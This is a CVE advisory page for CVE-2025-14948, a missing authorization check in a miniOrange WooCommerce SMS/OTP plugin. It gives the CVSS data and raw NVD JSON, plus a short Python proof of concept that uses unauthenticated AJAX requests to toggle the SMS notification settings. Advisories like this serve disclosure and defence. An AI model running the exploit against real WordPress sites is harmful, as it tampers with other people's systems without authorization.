Security Vulnerability Report
中文
CVE-2025-14948 CVSS 5.3 MEDIUM

CVE-2025-14948

Published: 2026-01-10 07:16:03
Last Modified: 2026-04-15 00:35:42

Description

The miniOrange OTP Verification and SMS Notification for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `enable_wc_sms_notification` AJAX action in all versions up to, and including, 4.3.8. This makes it possible for unauthenticated attackers to enable or disable SMS notification settings for WooCommerce orders.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

miniOrange OTP Verification and SMS Notification for WooCommerce插件 <= 4.3.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-14948 PoC - Unauthenticated SMS Notification Toggle # Target: WordPress site with miniOrange OTP Verification plugin <= 4.3.8 target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Disable SMS notifications payload_disable = { "action": "enable_wc_sms_notification", "enable": "false" } # Enable SMS notifications payload_enable = { "action": "enable_wc_sms_notification", "enable": "true" } print("[*] Sending request to disable SMS notifications...") response = requests.post(target_url, data=payload_disable) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") print("\n[*] Sending request to enable SMS notifications...") response = requests.post(target_url, data=payload_enable) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") print("\n[!] Note: This vulnerability requires no authentication") print("[!] Attacker can modify WooCommerce SMS notification settings without login")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14948", "sourceIdentifier": "[email protected]", "published": "2026-01-10T07:16:02.673", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The miniOrange OTP Verification and SMS Notification for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `enable_wc_sms_notification` AJAX action in all versions up to, and including, 4.3.8. This makes it possible for unauthenticated attackers to enable or disable SMS notification settings for WooCommerce orders."}, {"lang": "es", "value": "El plugin miniOrange OTP Verification and SMS Notification for WooCommerce para WordPress es vulnerable a la modificación no autorizada de datos debido a la ausencia de una comprobación de capacidad en la acción AJAX 'enable_wc_sms_notification' en todas las versiones hasta la 4.3.8, inclusive. Esto posibilita que atacantes no autenticados habiliten o deshabiliten la configuración de notificaciones por SMS para los pedidos de WooCommerce."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/miniorange-sms-order-notification-otp-verification/tags/4.3.8/notifications/wcsmsnotification/handler/class-woocommercenotifications.php#L138", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/miniorange-sms-order-notification-otp-verification?rev=3423647", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f84ddc83-2079-45b9-8354-51094581b1f8?source=cve", "source": "[email protected]"}]}}